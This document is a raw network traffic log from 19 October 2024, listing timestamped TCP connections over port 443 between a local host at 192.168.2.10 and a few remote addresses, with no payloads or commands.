Oct 19, 2024 00:13:58.469701052 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.640114069 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.641403913 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.641433954 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.643726110 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.643739939 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.773200989 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.773796082 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.773863077 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.773905993 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.773922920 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.773929119 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.773935080 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.776912928 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.776947975 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.777035952 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.777206898 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.777234077 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.103661060 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.104409933 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.104420900 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.105051994 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.105060101 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.160465956 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.160948992 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.160969973 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.161720037 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.161725998 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.188594103 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.189227104 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.189246893 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.189783096 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.189786911 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.236572981 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.237185955 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.237277985 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.237333059 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.237333059 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.237354994 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.237365007 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.241547108 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.241599083 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.241693974 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.241946936 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.241962910 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.291455030 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.291537046 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.291668892 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.291830063 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.291830063 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.291846037 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.291855097 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.295959949 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.295989990 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.296060085 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.296220064 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.296236038 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.327408075 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.327584028 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.327667952 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.327794075 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.327811956 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.327833891 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.327840090 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.330193043 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.331073046 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.331113100 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.331181049 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.331264019 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.331295013 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.332007885 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.332014084 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.332199097 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.332216024 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.426114082 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.426225901 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.431313038 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.431322098 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.431660891 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.432236910 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.432274103 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.432310104 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.462867975 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.462949038 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.463022947 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.463299036 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.463320971 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.463334084 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.463341951 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.466573954 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.466609001 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.466742039 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.466917038 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.466933012 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.530591965 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.531241894 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.531256914 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.531572104 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.531585932 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.862551928 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.862618923 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.862870932 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.862899065 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.862915993 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.862930059 CEST	49782	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.862936974 CEST	443	49782	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.866282940 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.866307974 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.866311073 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.866341114 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.866345882 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.866375923 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.866388083 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.866427898 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.866678953 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.866678953 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:59.866708040 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:59.866929054 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.866929054 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.867094040 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.867129087 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.867183924 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.929153919 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.929191113 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:59.929250956 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.929491043 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:59.929507971 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:00.047480106 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.048058987 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.048089981 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.048702955 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.048708916 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.053971052 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.054526091 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.054549932 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.054961920 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.054968119 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.151118994 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.151817083 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.151844025 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.152271032 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.152277946 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.179403067 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.179474115 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.179685116 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.179825068 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.179825068 CEST	49784	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.179840088 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.179843903 CEST	443	49784	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.183156013 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.183209896 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.183466911 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.183610916 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.183620930 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.187303066 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.187453032 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.187505007 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.187673092 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.187694073 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.187700987 CEST	49785	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.187706947 CEST	443	49785	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.190284967 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.190327883 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.190395117 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.190687895 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.190706968 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.197365046 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.197783947 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.197801113 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.198395967 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.198405027 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.288405895 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.288753986 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.288806915 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.288851976 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.288875103 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.288888931 CEST	49783	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.288894892 CEST	443	49783	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.291727066 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.291785002 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.292022943 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.292217970 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.292236090 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.330193043 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.330291986 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.330521107 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.330640078 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.330662966 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.330676079 CEST	49786	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.330682993 CEST	443	49786	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.333751917 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.333791018 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.334028959 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.334203959 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.334217072 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.355549097 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 19, 2024 00:14:00.621659040 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.622421980 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.622442007 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.622901917 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.622909069 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.758028984 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.758088112 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.758295059 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.758354902 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.758377075 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.758390903 CEST	49787	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.758398056 CEST	443	49787	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.761665106 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.761708975 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.761831045 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.762114048 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.762130976 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.950043917 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.950485945 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.950500965 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.951107979 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.951116085 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.953668118 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.954055071 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.954078913 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:00.954490900 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:00.954499960 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.047322035 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.047826052 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.047856092 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.048692942 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.048701048 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.048825979 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.048847914 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.064598083 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.065298080 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.065304995 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.066001892 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.066008091 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.068640947 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.069215059 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.069246054 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.069900036 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.069911003 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.091345072 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.091576099 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.091675997 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.120354891 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.120505095 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.120657921 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.122594118 CEST	49791	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.122626066 CEST	443	49791	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.125004053 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.125004053 CEST	49790	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.125030041 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.125041008 CEST	443	49790	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.129170895 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.129218102 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.129684925 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.130002022 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.130040884 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.130281925 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.130281925 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.130283117 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.130305052 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.130314112 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.199354887 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.201086044 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.201231956 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.202713966 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.202814102 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.202877045 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.221098900 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.221137047 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.221149921 CEST	49792	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.221157074 CEST	443	49792	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.222728968 CEST	49793	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.222753048 CEST	443	49793	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.225028992 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.225080967 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.225164890 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.225325108 CEST	49798	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.225336075 CEST	443	49798	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.226351023 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.226383924 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.226713896 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.226793051 CEST	49799	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.226802111 CEST	443	49799	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.461628914 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.461654902 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.461698055 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.461731911 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.461745977 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.461802006 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.493374109 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.493374109 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.493391991 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.493603945 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.493640900 CEST	443	49788	20.190.160.14	192.168.2.10
Oct 19, 2024 00:14:01.493697882 CEST	49788	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:14:01.518613100 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.538136005 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.538152933 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.538678885 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.538686037 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.669908047 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.669970989 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.670866013 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.712378025 CEST	49795	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.712412119 CEST	443	49795	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.754385948 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.754447937 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.754642963 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.757697105 CEST	49800	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.757708073 CEST	443	49800	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.859072924 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.859934092 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.859957933 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.860526085 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.860532999 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.882440090 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.883011103 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.883022070 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:01.883464098 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:01.883470058 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198196888 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198282957 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198386908 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.198719978 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.198719978 CEST	49797	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.198741913 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198745966 CEST	443	49797	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198785067 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198808908 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198862076 CEST	49796	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:02.198865891 CEST	443	49796	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:02.198966026 CEST	49796	443	192.168.2.10	13.107.246.45
